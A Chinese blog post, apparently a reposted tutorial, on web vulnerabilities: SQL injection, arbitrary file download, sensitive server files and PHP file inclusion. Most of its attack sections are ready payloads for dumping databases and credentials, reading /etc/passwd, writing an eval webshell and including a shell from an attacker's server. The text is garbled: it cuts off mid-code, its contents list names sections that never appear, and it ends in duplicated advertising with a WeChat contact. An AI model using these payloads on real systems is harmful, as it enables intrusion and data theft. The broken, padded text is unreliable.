常见Web十大漏洞,常见Web漏洞_十大常见web漏洞,2024年最新零基础网络安全开发
2401_83621384 2024-07-02 11:33:03 阅读 74
漏洞防护
六、命令执行
漏洞原理
两个条件
命令执行漏洞带来的危害
列子
漏洞防护
七、代码执行
PHP敏感函数代码执行
八、XML外部实体注入
XML基础
恶意引入外部实体的三种方式
一、本地引入
二、远程引入
三、远程引入2
九、xss 漏洞
漏洞原理:
xss 分类:(三类)
十、CSRF & SSRF
CSRF:
SSRF:
一、SQL注入漏洞
Web应用程序对用户数据交互时候前端传入后端处理没做过滤处理,恶意代码输入后被拼接到SQL语句中执行一部分,使数据库回显内容。
分为字符型和数字型
分为以下五种注入方式:
布尔盲注:根据返回页面判断条件真假
延时注入:用页面返回时间是否增加判断是否存在注入
报错注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆叠注入:可以同时执行多条语句
(mysql_multi_query() 支持多条[sql语句]( )同时执行,就是个;分隔,成堆的执行sql语句)
查找SQL注入漏洞
Union注入
1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果
?id=1’ and 1=1 --+ 页面返回正常
?id=1’ and 1=2 --+页面返回不正常
2、使用order by 或 group by猜字段
?id=1%27 order by 3–+ 返回正常
?id=1%27 order by 4–+ 返回正常
?id=1%27 order by 5–+ 返回错误
证明字段总数为4
3、联合查询
?id=-1’ union select 1,2,3,4 --+
看哪个字段显示信息,利用它进一步注入出数据库信息
修改id为一个不存在的id,强行报错 因为代码默认只返回第一条结果,
不会返回 union select 的结果
4、获取数据库信息
id=-1’ union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --+
或者
id=-1’ union select 1,2,3,database() --+
id=-1’ union select 1,2,3,version() --+ user()
获取数据库用户名 database() 获取数据库名
version() 获取数据库版本信息
concat_ws(separator,str1,str2,…) 含有分隔符地连接字符串
里边这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出
–其它信息
@@datadir --数据库路径
@@version_compile_os --操作系统版本
5、获取数据表信息
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
table_schema=数据库名16进制或者用单引号括起来
6、获取字段信息
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' --+
7、脱库
union select 1,2,3,group_concat(name,password) from 表名
用字段名从表中取数据
group_concat(str1,str2,...) 连接一个组的所有字符串
布尔盲注
页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入
1、在参数后加单引号使其报错,并用and 1=1和and 1=2测试报错结果
?id=1' and 1=1 --+ 页面返回正常
?id=1' and 1=2 --+ 页面返回不正常
2、判断数据库名的长度
1'and length(database())>=1--+ 页面返回正常
1'and length(database())>=13--+ 页面返回正常
1'and length(database())>=14--+ 页面返回错误
由此判断得到数据库名的长度是13个字符
3、猜解数据库名(建议写python脚本)
字符判断获取数据库名;
数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,这里的字母不区分大小写。
' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+
substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序。
用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符。
还可以用ASCII码查询
a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:
' and ord(substr(database(),1,1))=97--+
ASCII码表中可显示字符的范围是:0~127
4、判断数据库表名
' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+
修改1,1前边的1~20,逐字符猜解出第一个表的名
修改limit的0,1前边的0~20,逐个猜解每个表
5、判断数据库字段名
' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+
修改1,1前边的1~20,逐字符猜解出第一个字段的名
修改limit的0,1前边的0~20,逐个猜解每个字段
报错注入
页面会返回错误信息,利用报错函数获取数据库数据
xpath语法错误
extractvalue() 查询节点内容
updatexml() 修改查询到的内容
它们的第二个参数都要求是符合xpath语法的字符串
如果不满足要求则会报错,并且将查询结果放在报错信息里
这二者里面传参第一个是两个第二个是三个,但都是改变xpath
主键重复(duplicate entry)
floor() --返回小于等于该值的最大整数
只要是count,rand(),group by 三个连用就会造成这种主键重复报错
1、尝试用单引号报错
同上
2、获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
0x7e是"~"符号的16进制,在这作为分隔符(喜欢哪个用哪个)
3、获取表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+
4、获取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+
5、脱库
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+
其它函数payload语法:
--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
时间盲注
服务器关闭了错误回显,单纯通过服务器返回内容的变化来判断是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延时效果的函数。
如果benkchmark和sleep关键字被过滤了,可以让两个非常大的数据表做笛卡尔积 (opens new window)产生大量的计算从而产生时间延迟;
或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。
1、利用sleep判断数据库名长度
' and sleep(5) and 1=1--+ 页面返回不正常,延时5秒
' and sleep(5) and 1=2--+ 页面返回不正常,不延时
and if(length(database())>1,sleep(5),1)
--if(条件表达式,真,假) --C语言的三目运算符类似
2、获取数据库名
and if(substr(database(),1,1)='a',sleep(5),1)--+
时间型盲注的加速方式
1、Windows平台上的Mysql可以用DNSlog加速注入
2、利用二分查找法
sqlmap盲注默认采用的是二分查找法
二、任意文件下载
漏洞原理:
一般来说在文件下载或查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不严格时,就能够实现下载服务器上的任何文件,产生任意文件下载漏洞,恶意用户就可利用路径回溯符号(…/)跳出程序本身的限制目录实现下载任意文件。此漏洞的最终目的还是为了进一步获取更多系统信息。
产生原因:
● 提供下载、查看的功能,并接收相关参数变量;
● 使用读取文件的函数;
● 未对相关参数做校验或者控制不严格;
● 能输出请求文件的内容,提供给客户端;
利用条件:
● 存在读文件的函数;
● 读取文件的路径是用户可控的且未经校验或校验不严格;
● 输出或下载了文件内容;
漏洞发现:
存在下载功能的功能点;可以使用Google hacking语法或者Web漏洞扫描器。
Google search
inurl:readfile.php?file=
inurl:download.php?file=
链接存在以下关键字:
download.php?path=
download.php?file=
download.php?filename=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
包含以下参数
&RealPath=
&FilePath=
&filepath=
&Filepath=
&Path=
&path=
&inputFile=
&InputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&Date=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
漏洞利用方法:
任意文件下载漏洞,正常的利用手段是下载服务器文件,比如脚本代码、服务器配置文件或者是系统配置文件等。但有时并不知道网站所处环境以及网站路径,就可以使用…/…/…/进行逐层猜测路径,案例如下:
index.php?f=../../../../../../../../../etc/passwd
index.php?f=../../../index.php
index.php?f=file:///etc/passwd
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../etc/passwd
readfile.php?file=../../../../../../../etc/passwd%00 // 00截断
注:
当参数f的参数值为php⽂件时,若是⽂件被解析则是⽂件包含漏洞,
若显⽰源码或提⽰下载则是⽂件查看与下载漏洞。
漏洞防护:
(1)过滤".",使用户在 url 中不能回溯上级目录
(2)正则严格判断用户输入参数的格式
(3)php.ini 配置 open_basedir 限定文件访问范围
三、敏感文件
/root/.bash_history //用户终端历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
/usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //php相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/php5/apache2/php.ini //ubuntu系统的默认路径
Tomcat
apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件
apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件
apache-tomcat-8.5.51/conf/web.xml //tomcat应用程序的部署描述符文件
apache-tomcat-8.5.51/logs/catalina.out //即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。
Web应用
PHP
获取inc/config.php文件,获得数据库连接字符串中的口令信息;
ASP
获取inc/conn.asp文件,获得数据库连接字符串口令,得到数据库口令。若是ACCESS数据库,可以得到数据库路径,再下载数据库内容;
ASPX
获取网站根目录web.config文件,获得数据库连接字符串中的口令信息;
获取bin/*.dll文件,获取网站源码(不完整代码),使用.NET reflector工具打开编译后的dll文件;
JSP
获取conf/tomcat-user.xml文件,获得tongcat管理界面的口令信息,上传war包GetShell;
获取WEB-INF/Web.xml文件,获得数据库连接字符串中的口令信息。
四、文件包含
漏洞成因:
在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
漏洞利用
利用条件:
(1)include()、include_noce()、require()、require_once()等函数通过动态变量的方式引入包含文件;
(2)用户能够控制该动态变量。
1、读取敏感文件
?arg=/etc/passwd
2、利用封装协议读源码
?arg=php://filter/read=convert.base64-encode/resource=config.php
这样能看到php文件的源码
3、包含图片Getshell
在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码(图片马)
4、截断包含
漏洞代码:如:
?php
if(isset($_GET['arg']))
{
include($_GET['arg'].".php");
}else{
include(index.php);
}
?>
这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg
会出错。
因为包含文件里面不存在1.jpg.php
这个文件。
但是如果输入http://vuln.com/index.php?arg=1.jpg%00
,就极有可能会绕过检测。
这种方法只适用于php.ini
中magic_quotes_qpc=off
并且PHP
版本< 5.3.4的情况。
如果为on,%00会被转义,以至于无法截断。
5、包含Apache日志Getshell
条件:知道日志文件access.log的存放位置 ,默认位置:/var/log/httpd/access_log
access.log
文件记录了客户端每次请求的相关信息; 当访问一个不存在的资源时access.log
文件仍然会记录这条资源信息。
如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,
我们就可以尝试访问http://www.vuln.com/<?php phpinfo(); ?>
Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。
理论上是这样的,但是实际上却是输入的代码被转义无法解析。
攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。
这时再查看Apache日志文件,显示的就是正常的测试代码。
这时访问:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log
,即可成功执行代码
PHP中的封装协议(伪协议)
以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。
file://
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()
参数可控的情况下
如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的
示例:
1. file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2. file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3. file://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
条件:
allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input
php://stdin
php://memory
php://temp
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filter
和 php://input
php://filter用于读取源码,php://input用于执行php代码
示例:
1. php://filter/read=convert.base64-encode/resource=[文件名] //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://
作用:
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等
示例:
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
<!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传-->
http://127.0.0.1/include.php? file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
<!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)-->
http://127.0.0.1/include.php? file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
<!--压缩 phpinfo.txt 为 phpinfo.gz-->
http://127.0.0.1/include.php? file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
条件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0
起,可以使用 data://
数据流封装器,以传递相应格式的数据。
通常可以用来执行PHP代码
示例:
1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用条件 PHP > 5.3
要想使用Phar类里的方法,必须将phar.readonly
配置项配置为0或Off
利用 phar 协议可以拓展 php 反序列化漏洞攻击面
远程文件包含(RFL)
服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,
从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。
漏洞利用
条件:php.ini
中开启allow_url_include
、allow_url_fopen
选项。
1、远程包含Webshell
?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
shell.txt内容为:
<?php
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-arAvWbz2-1713064327043)]
上一篇: Python web实战 | 用 Flask 框架快速构建 Web 应用【实战】
本文标签
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。